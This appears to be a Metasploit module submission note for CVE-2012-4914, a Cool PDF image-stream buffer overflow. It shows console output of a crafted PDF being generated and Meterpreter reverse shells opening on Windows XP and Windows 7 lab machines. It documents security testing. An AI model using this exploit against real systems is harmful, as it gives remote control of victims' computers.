added module for cve-2012-4914

Tested on Cool PDF 3.0.2.256 over Windows XP SP3 and Windows 7 SP1

```
msf  exploit(handler) > use exploit/windows/fileformat/coolpdf_image_stream_bof 
msf  exploit(coolpdf_image_stream_bof) > rexploit
[*] Reloading module...

[+] msf.pdf stored at /Users/juan/.msf4/local/msf.pdf
msf  exploit(coolpdf_image_stream_bof) > use exploit/multi/handler 
msf  exploit(handler) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.1.128:4444 
[*] Starting the payload handler...
[*] Sending stage (752128 bytes) to 192.168.1.136
[*] Meterpreter session 1 opened (192.168.1.128:4444 -> 192.168.1.136:1691) at 2013-03-17 21:09:39 +0100

meterpreter > sysinfo
Computer        : JUAN-C0DE875735
OS              : Windows XP (Build 2600, Service Pack 3).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.1.136 - Meterpreter session 1 closed.  Reason: User exit
msf  exploit(handler) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.1.128:4444 
[*] Starting the payload handler...
[*] Sending stage (752128 bytes) to 192.168.1.130
[*] Meterpreter session 2 opened (192.168.1.128:4444 -> 192.168.1.130:49255) at 2013-03-17 21:10:29 +0100

meterpreter > sysinfo
Computer        : WIN-RNJ7NBRK9L7
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...


```